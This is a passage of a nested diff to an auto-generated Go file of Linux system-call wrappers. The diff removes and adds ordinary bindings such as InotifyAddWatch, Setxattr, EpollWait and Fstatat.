--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1286,16 +24,8 @@ func Times(tms *Tms) (ticks uintptr, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1304,13 +34,9 @@ func Uname(buf *Utsname) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1319,8 +45,8 @@ func Unmount(target string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,108 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,15 +93,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1515,8 +103,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1525,18 +113,13 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1566,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1574,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1582,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1600,7 +183,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1722,6 +305,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (off int64, err error) {
- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
- off = int64(r0)
-@@ -1734,7 +337,7 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1755,8 +358,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
